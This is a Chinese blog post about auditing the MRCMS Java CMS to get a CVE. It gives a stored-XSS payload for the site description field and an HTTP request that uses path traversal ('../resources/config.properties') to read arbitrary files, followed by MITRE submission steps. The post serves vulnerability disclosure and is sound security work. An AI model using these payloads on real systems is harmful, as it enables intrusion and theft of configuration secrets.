文章首发个人公众号
作为一个安服仔突发奇想去申请个CVE编号,大型的CMS代码太多了太复杂,我们就选一些小的CMS的来代码审计获取CVE编号。
漏洞很水,但是自己的首个CVE还是有纪念意义的。
MRCMS: https://gitee.com/marker/MRCMS
存储型xss
代码路径:
\MRCMS\src\main\java\org\marker\mushroom\controller\SystemController.java
从代码中 syscfg.set
方法写入配置信息,跟进行看看set方法
/**
* 设置配置key = val
* @param key 键
* @param val 值
*/
@Override
public void set(String key, String val) {
if(val == null){
val = "";
}
this.properties.put(key, val);
}
set
方法是直接写入内容,没有任意过滤,所以导致xss漏洞产生
在后台网站描述中添加xss代码
"><img src=1 onerror=alert(/xss/)>
任意文件读取漏洞
存在漏洞代码路径 :
MRCMS\src\main\java\org\marker\mushroom\controller\FileController.java
/**
* 编辑文本文件
* @param path
* @param name
* @return
*/
@RequestMapping("/edit")
public ModelAndView edit(@RequestParam("path") String path, @RequestParam("name") String name){
ModelAndView view = new ModelAndView(this.viewPath + "edit");
File file = new File(WebRealPathHolder.REAL_PATH + encoding(path + File.separator + name));
try {
view.addObject("data", FileTools.getFileContet(file, FileTools.FILE_CHARACTER_UTF8));
} catch (IOException e) {
e.printStackTrace();
}
view.addObject("path", encoding(path));
view.addObject("name", encoding(name));
return view;
}
跟进FileTools.getFileContet
方法
/**
* 获取文本文件内容
* @param filePath 文件路径
* @param character 字符编码
* @return String 文件文本内容
* @throws IOException
* */
public static final String getFileContet(File filePath,String character) throws IOException{
return FileTools.getContent(filePath, character);
}
方法中调用了getContent
方法,接着跟进
从上面分析代码中是直接获取文件内容,并且没有对文件路径进行判断,导致可以跨目录读取文件
请求包
GET /admin/file/edit.do?path=../resources/config.properties&name= HTTP/1.1
Host: 127.0.0.1:8080
Referer: http://127.0.0.1:8080/admin/index.do
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
X-Requested-With: XMLHttpRequest
编写报告提交CVE
在github上编写漏洞发现过程和给出poc,编写报告一定要用英文写,不然老外看不懂
下面两个是例子,我自己申请的CVE
https://github.com/wy876/cve/issues/1
https://github.com/wy876/cve/issues/2
提交CVE前,还得去查一下,挖掘的漏洞有没有被提交CVE https://cve.mitre.org/cve/search_cve_list.html
接着就提交申请
https://cveform.mitre.org/
提交后就会收到一封邮件,然后就等待审核分配CVE编号
差不多一个月就收到CVE编号了